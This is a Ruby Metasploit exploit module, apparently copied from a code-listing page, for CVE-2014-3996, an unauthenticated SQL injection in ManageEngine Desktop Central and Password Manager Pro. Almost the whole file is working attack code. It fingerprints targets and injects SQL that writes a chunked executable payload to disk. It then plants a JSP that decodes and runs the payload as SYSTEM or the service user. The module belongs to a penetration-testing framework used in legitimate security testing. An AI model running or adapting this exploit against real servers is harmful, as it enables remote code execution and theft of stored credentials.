1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634 | ##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/file_dropper'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE
def initialize(info={})
super(update_info(info,
'Name' => "ManageEngine Password Manager MetadataServlet.dat SQL Injection",
'Description' => %q{
This module exploits an unauthenticated blind SQL injection in LinkViewFetchServlet,
which is exposed in ManageEngine Desktop Central v7 build 70200 to v9 build 90033 and
Password Manager Pro v6 build 6500 to v7 build 7002 (including the MSP versions). The
SQL injection can be used to achieve remote code execution as SYSTEM in Windows or as
the user in Linux. This module exploits both PostgreSQL (newer builds) and MySQL (older
or upgraded builds). MySQL targets are more reliable due to the use of relative paths;
with PostgreSQL you should find the web root path via other means and specify it with
WEB_ROOT.
The injection is only exploitable via a GET request, which means that the payload
has to be sent in chunks smaller than 8000 characters (URL size limitation). Small
payloads and the use of exe-small is recommended, as you can only do between 10 and
20 injections before using up all the available ManagedConnections until the next
server restart.
This vulnerability exists in all versions released since 2006, however builds below
DC v7 70200 and PMP v6 6500 do not ship with a JSP compiler. You can still try your
luck using the MySQL targets as a JDK might be installed in the $PATH.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'References' =>
[
[ 'CVE', '2014-3996' ],
[ 'OSVDB', '110198' ],
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/me_dc_pmp_it360_sqli.txt' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2014/Aug/55' ]
],
'Arch' => ARCH_X86,
'Platform' => %w{ linux win },
'Targets' =>
[
[ 'Automatic', {} ],
[ 'Desktop Central v8 >= b80200 / v9 < b90039 (PostgreSQL) on Windows',
{
'WebRoot' => 'C:\\ManageEngine\\DesktopCentral_Server\\webapps\\DesktopCentral\\',
'Database' => 'postgresql',
'Platform' => 'win'
}
],
[ 'Desktop Central MSP v8 >= b80200 / v9 < b90039 (PostgreSQL) on Windows',
{
'WebRoot' => 'C:\\ManageEngine\\DesktopCentralMSP_Server\\webapps\\DesktopCentral\\',
'Database' => 'postgresql',
'Platform' => 'win'
}
],
[ 'Desktop Central [MSP] v7 >= b70200 / v8 / v9 < b90039 (MySQL) on Windows',
{
'WebRoot' => '../../webapps/DesktopCentral/',
'Database' => 'mysql',
'Platform' => 'win'
}
],
[ 'Password Manager Pro [MSP] v6 >= b6800 / v7 < b7003 (PostgreSQL) on Windows',
{
'WebRoot' => 'C:\\ManageEngine\\PMP\\webapps\\PassTrix\\',
'Database' => 'postgresql',
'Platform' => 'win'
}
],
[ 'Password Manager Pro v6 >= b6500 / v7 < b7003 (MySQL) on Windows',
{
'WebRoot' => '../../webapps/PassTrix/',
'Database' => 'mysql',
'Platform' => 'win'
}
],
[ 'Password Manager Pro [MSP] v6 >= b6800 / v7 < b7003 (PostgreSQL) on Linux',
{
'WebRoot' => '/opt/ManageEngine/PMP/webapps/PassTrix/',
'Database' => 'postgresql',
'Platform' => 'linux'
}
],
[ 'Password Manager Pro v6 >= b6500 / v7 < b7003 (MySQL) on Linux',
{
'WebRoot' => '../../webapps/PassTrix/',
'Database' => 'mysql',
'Platform' => 'linux'
}
]
],
'DefaultTarget' => 0,
'Privileged' => false, # Privileged on Windows but not on Linux targets
'DisclosureDate' => "Jun 8 2014"))
register_options(
[
OptPort.new('RPORT',
[true, 'The target port', 8020]),
OptString.new('WEB_ROOT',
[false, 'Slash terminated web server root filepath (escape Windows paths with 4 slashes \\\\\\\\)'])
], self.class)
register_advanced_options(
[
OptInt.new('CHUNK_SIZE',
[true, 'Number of characters to send per request (< 7800)', 7500]),
OptInt.new('SLEEP',
[true, 'Seconds to sleep between injections (x1 for MySQL, x2.5 for PostgreSQL)', 2]),
OptBool.new('EXE_SMALL',
[true, 'Use exe-small encoding for better reliability', true]),
], self.class)
end
def check
check_code = check_desktop_central
if check_code == Exploit::CheckCode::Unknown
check_code = check_password_manager_pro
end
check_code
end
def exploit
@my_target = pick_target
if @my_target.nil?
fail_with(Failure::NoTarget, "#{peer} - Automatic targeting failed.")
else
print_status("#{peer} - Selected target #{@my_target.name}")
end
# When using auto targeting, MSF selects the Windows meterpreter as the default payload.
# Fail if this is the case to avoid polluting the web root any more.
if @my_target['Platform'] == 'linux' && payload_instance.name =~ /windows/i
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
end
if datastore['WEB_ROOT']
web_root = datastore['WEB_ROOT']
else
web_root = @my_target['WebRoot']
end
jsp_name = rand_text_alpha_lower(8) + ".jsp"
fullpath = web_root + jsp_name
inject_exec(fullpath)
register_file_for_cleanup(fullpath.sub('../',''))
print_status("#{peer} - Requesting #{jsp_name}")
send_request_raw({'uri' => normalize_uri(jsp_name)})
end
# Test for Password Manager Pro
def password_manager_paths
db_paths = {}
res = send_request_cgi({
'uri' => normalize_uri("PassTrixMain.cc"),
'method' => 'GET'
})
if res && res.code == 200 && res.body.to_s =~ /ManageEngine Password Manager Pro/
if datastore['WEB_ROOT']
db_paths[:postgresql] = datastore['WEB_ROOT'].dup
db_paths[:mysql] = datastore['WEB_ROOT'].dup
else
db_paths[:postgresql] = targets[4]['WebRoot'].dup
db_paths[:mysql] = targets[5]['WebRoot'].dup
end
end
db_paths
end
# Test for Desktop Central
def desktop_central_db_paths
db_paths = {}
res = send_request_cgi({
'uri' => normalize_uri("configurations.do"),
'method' => 'GET'
})
if res && res.code == 200 && res.body.to_s =~ /ManageEngine Desktop Central/
if datastore['WEB_ROOT']
db_paths[:postgresql] = datastore['WEB_ROOT'].dup
db_paths[:mysql] = datastore['WEB_ROOT'].dup
elsif res.body.to_s =~ /ManageEngine Desktop Central MSP/
db_paths[:postgresql] = targets[2]['WebRoot'].dup
db_paths[:mysql] = targets[3]['WebRoot'].dup
else
db_paths[:postgresql] = targets[1]['WebRoot'].dup
db_paths[:mysql] = targets[3]['WebRoot'].dup
end
end
db_paths
end
def db_paths
paths = desktop_central_db_paths
if paths.empty?
paths = check_password_manager_pro
end
paths
end
def pick_mysql_target(mysql_path, rand_txt)
file_path = mysql_path << rand_txt
# @@version_compile_os will give us Win32 / Win64 if it's a Windows target
inject_sql("select @@version_compile_os into dumpfile '#{file_path}'", "mysql")
res = send_request_cgi({
'uri' => normalize_uri(rand_txt),
'method' => 'GET'
})
if res && res.code == 200
register_file_for_cleanup(file_path.sub('../',''))
if res.body.to_s =~ /Win32/ or res.body.to_s =~ /Win64/
if mysql_path =~ /DesktopCentral/
# Desktop Central [MSP] / MySQL / Windows
return targets[3]
else
# Password Manager Pro / MySQL / Windows
return targets[5]
end
else
# Password Manager Pro / MySQL / Linux
return targets[7]
end
end
nil
end
def pick_postgres_target(postgresql_path, rand_txt)
file_path = postgresql_path << rand_txt
# version() will tell us if it's compiled by Visual C++ (Windows) or gcc (Linux)
inject_sql("copy (select version()) to '#{file_path}'", "postgresql")
res = send_request_cgi({
'uri' => normalize_uri(rand_txt),
'method' => 'GET'
})
if res && res.code == 200
register_file_for_cleanup(file_path)
if res.body.to_s =~ /Visual C++/
if postgresql_path =~ /DesktopCentral_Server/
# Desktop Central / PostgreSQL / Windows
return targets[1]
elsif postgresql_path =~ /DesktopCentralMSP_Server/
# Desktop Central MSP / PostgreSQL / Windows
return targets[2]
else
# Password Manager Pro / PostgreSQL / Windows
return targets[4]
end
elsif res.body.to_s =~ /linux/
# This is for the case when WEB_ROOT is provided
# Password Manager Pro / PostgreSQL / Linux
return targets[6]
end
end
# OK, it's Password Manager Pro on Linux, probably using PostgreSQL and
# no WEB_ROOT was provided. Let's try one of the defaults before bailing out.
file_path = targets[5]['WebRoot'].dup << rand_txt
inject_sql("copy (select version()) to '#{file_path}'", "postgresql")
res = send_request_cgi({
'uri' => normalize_uri(rand_txt),
'method' => 'GET'
})
if res && res.code == 200 && res.body.to_s =~ /linux/
# Password Manager Pro / PostgreSQL / Linux
return targets[6]
end
nil
end
def pick_target
return target if target.name != 'Automatic'
print_status("#{peer} - Selecting target, this might take a few seconds...")
rand_txt = rand_text_alpha_lower(8) << ".txt"
paths = db_paths
if paths.empty?
# We don't know what this is, bail
return nil
end
postgresql_path = paths[:postgresql]
mysql_path = paths[:mysql]
# try MySQL first, there are probably more of these out there
mysql_target = pick_mysql_target(mysql_path, rand_txt)
unless mysql_target.nil?
return mysql_target
end
# didn't work, let's try PostgreSQL
postgresql_target = pick_postgres_target(postgresql_path, rand_txt)
postgresql_target
end
#
# Creates the JSP that will assemble the payload on the server
#
def generate_jsp_encoded(files)
native_payload_name = rand_text_alpha(rand(6)+3)
ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'
var_raw = rand_text_alpha(rand(8) + 3)
var_ostream = rand_text_alpha(rand(8) + 3)
var_buf = rand_text_alpha(rand(8) + 3)
var_decoder = rand_text_alpha(rand(8) + 3)
var_tmp = rand_text_alpha(rand(8) + 3)
var_path = rand_text_alpha(rand(8) + 3)
var_proc2 = rand_text_alpha(rand(8) + 3)
var_files = rand_text_alpha(rand(8) + 3)
var_ch = rand_text_alpha(rand(8) + 3)
var_istream = rand_text_alpha(rand(8) + 3)
var_file = rand_text_alpha(rand(8) + 3)
files_decl = "{ "
files.each { |file| files_decl << "\"#{file}\"," }
files_decl[-1] = "}"
if @my_target['Platform'] == 'linux'
var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
chmod = %Q|
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
Thread.sleep(200);
|
var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
cleanup = %Q|
Thread.sleep(200);
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
|
else
chmod = ''
cleanup = ''
end
jsp = %Q|
<%@page import="java.io.*"%>
<%@page import="sun.misc.BASE64Decoder"%>
<%
String[] #{var_files} = #{files_decl};
try {
int #{var_ch};
StringBuilder #{var_buf} = new StringBuilder();
for (String #{var_file} : #{var_files}) {
BufferedInputStream #{var_istream} =
new BufferedInputStream(new FileInputStream(#{var_file}));
while((#{var_ch} = #{var_istream}.read())!= -1)
#{var_buf}.append((char)#{var_ch});
#{var_istream}.close();
}
BASE64Decoder #{var_decoder} = new BASE64Decoder();
byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
String #{var_path} = #{var_tmp}.getAbsolutePath();
BufferedOutputStream #{var_ostream} =
new BufferedOutputStream(new FileOutputStream(#{var_path}));
#{var_ostream}.write(#{var_raw});
#{var_ostream}.close();
#{chmod}
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
#{cleanup}
} catch (Exception e) {
}
%>
|
jsp = jsp.gsub(/\n/, '')
jsp = jsp.gsub(/\t/, '')
if @my_target['Database'] == 'postgresql'
# Ruby's base64 encoding adds newlines at every 60 chars, strip them
[jsp].pack("m*").gsub(/\n/, '')
else
# Assuming mysql, applying hex encoding instead
jsp.unpack("H*")[0]
end
end
def inject_sql(sqli_command, target = nil)
target = (target == nil) ? @my_target['Database'] : target
if target == 'postgresql'
sqli_prefix = "viewname\";"
sqli_suffix = ";-- "
else
# Assuming mysql
sqli_prefix = "viewname\" union "
sqli_suffix = "#"
end
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri("LinkViewFetchServlet.dat"),
'vars_get' => {
'sv' => sqli_prefix << sqli_command << sqli_suffix
}
})
if target == 'postgresql'
# PostgreSQL sometimes takes a while to write to the disk, so sleep more
sleep(datastore['SLEEP'] * 2.5)
else
# Assuming mysql
sleep(datastore['SLEEP'])
end
end
# Generate the actual payload
def generate_exe_payload
opts = {:arch => @my_target.arch, :platform => @my_target.platform}
payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch)
if datastore['EXE_SMALL'] and @my_target['Platform'] == 'win'
exe = Msf::Util::EXE.to_executable_fmt(framework, arch, platform,
payload.encoded, "exe-small", opts)
else
exe = generate_payload_exe(opts)
end
Rex::Text.encode_base64(exe)
end
# Uploads the payload in chunks
def inject_exec(fullpath)
base64_exe = generate_exe_payload
base64_exe_len = base64_exe.length
# We will be injecting in CHUNK_SIZE steps
chunk_size = datastore['CHUNK_SIZE']
copied = 0
counter = 0
if base64_exe_len < chunk_size
chunk_size = base64_exe_len
end
chunks = (base64_exe_len.to_f / chunk_size).ceil
time = chunks * datastore['SLEEP'] *
((@my_target['Database'] == 'postgresql') ? 2.5 : 1)
# We dump our files in either C:\Windows\system32 or /tmp
# It's not very clean, but when using a MySQL target we have no other choice
# as we are using relative paths for injection.
# The Windows path has to be escaped with 4 backslashes because ruby eats one
# and the JSP eats the other.
files = Array.new(chunks)
files.map! do |file|
if @my_target['Platform'] == 'win'
file = "C:\\\\windows\\\\system32\\\\" + rand_text_alpha(rand(8)+3)
else
# Assuming Linux, let's hope we can write to /tmp
file = "/tmp/" + rand_text_alpha(rand(8)+3)
end
end
print_status("#{peer} - Payload size is #{base64_exe_len}, injecting #{chunks} chunks in #{time} seconds")
if @my_target['Database'] == 'postgresql'
inject_sql("copy (select '#{base64_exe[copied,chunk_size]}') to '#{files[counter]}'")
else
# Assuming mysql
inject_sql("select '#{base64_exe[copied,chunk_size]}' from mysql.user into dumpfile '#{files[counter]}'")
end
register_file_for_cleanup(files[counter])
copied += chunk_size
counter += 1
while copied < base64_exe_len
if (copied + chunk_size) > base64_exe_len
# Last loop
chunk_size = base64_exe_len - copied
end
if @my_target['Database'] == 'postgresql'
inject_sql("copy (select '#{base64_exe[copied,chunk_size]}') to '#{files[counter]}'")
else
# Assuming mysql
inject_sql("select '#{base64_exe[copied,chunk_size]}' from mysql.user into dumpfile '#{files[counter]}'")
end
register_file_for_cleanup(files[counter])
copied += chunk_size
counter += 1
end
jsp_encoded = generate_jsp_encoded(files)
if @my_target['Database'] == 'postgresql'
inject_sql("copy (select convert_from(decode('#{jsp_encoded}','base64'),'utf8')) to '#{fullpath}'")
else
inject_sql("select 0x#{jsp_encoded} from mysql.user into dumpfile '#{fullpath}'")
end
end
def check_desktop_central_8(body)
if body =~ /id="buildNum" value="([0-9]+)"\/>/
build = $1
if ver_gt(build, '80200')
print_status("#{peer} - Detected Desktop Central v8 #{build}")
else
print_status("#{peer} - Detected Desktop Central v8 #{build} (MySQL)")
end
else
print_status("#{peer} - Detected Desktop Central v8 (MySQL)")
end
# DC v8 < 80200 uses the MySQL database
Exploit::CheckCode::Appears
end
def check_desktop_central_9(body)
if body =~ /id="buildNum" value="([0-9]+)"\/>/
build = $1
print_status("#{peer} - Detected Desktop Central v9 #{build}")
if ver_lt(build, '90039')
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
end
# Test for Desktop Central
def check_desktop_central
res = send_request_cgi({
'uri' => normalize_uri("configurations.do"),
'method' => 'GET'
})
unless res && res.code == 200
return Exploit::CheckCode::Unknown
end
if res.body.to_s =~ /ManageEngine Desktop Central 7/ ||
res.body.to_s =~ /ManageEngine Desktop Central MSP 7/
# DC v7 uses the MySQL database
print_status("#{peer} - Detected Desktop Central v7 (MySQL)")
return Exploit::CheckCode::Appears
elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ ||
res.body.to_s =~ /ManageEngine Desktop Central MSP 8/
return check_desktop_central_8(res.body.to_s)
elsif res.body.to_s =~ /ManageEngine Desktop Central 9/ ||
res.body.to_s =~ /ManageEngine Desktop Central MSP 9/
return check_desktop_central_9(res.body.to_s)
end
Exploit::CheckCode::Unknown
end
# Test for Password Manager Pro
def check_password_manager_pro
res = send_request_cgi({
'uri' => normalize_uri("PassTrixMain.cc"),
'method' => 'GET'
})
if res && res.code == 200 &&
res.body.to_s =~ /ManageEngine Password Manager Pro/ &&
(
res.body.to_s =~ /login\.css\?([0-9]+)/ || # PMP v6
res.body.to_s =~ /login\.css\?version=([0-9]+)/ || # PMP v6
res.body.to_s =~ /\/themes\/passtrix\/V([0-9]+)\/styles\/login\.css"/ # PMP v7
)
build = $1
else
return Exploit::CheckCode::Unknown
end
if ver_lt_eq(build, '6500')
# if it's a build below 6500, it will only work if we have a JSP compiler
print_status("#{peer} - Detected Password Manager Pro v6 #{build} (needs a JSP compiler)")
return Exploit::CheckCode::Detected
elsif ver_lt(build, '6800')
# PMP v6 < 6800 uses the MySQL database
print_status("#{peer} - Detected Password Manager Pro v6 #{build} (MySQL)")
return Exploit::CheckCode::Appears
elsif ver_lt(build, '7003')
print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}")
return Exploit::CheckCode::Appears
else
print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}")
Exploit::CheckCode::Safe
end
end
def ver_lt(a, b)
Gem::Version.new(a) < Gem::Version.new(b)
end
def ver_lt_eq(a, b)
Gem::Version.new(a) <= Gem::Version.new(b)
end
def ver_gt_eq(a, b)
Gem::Version.new(a) >= Gem::Version.new(b)
end
def ver_gt(a, b)
Gem::Version.new(a) > Gem::Version.new(b)
end
end
|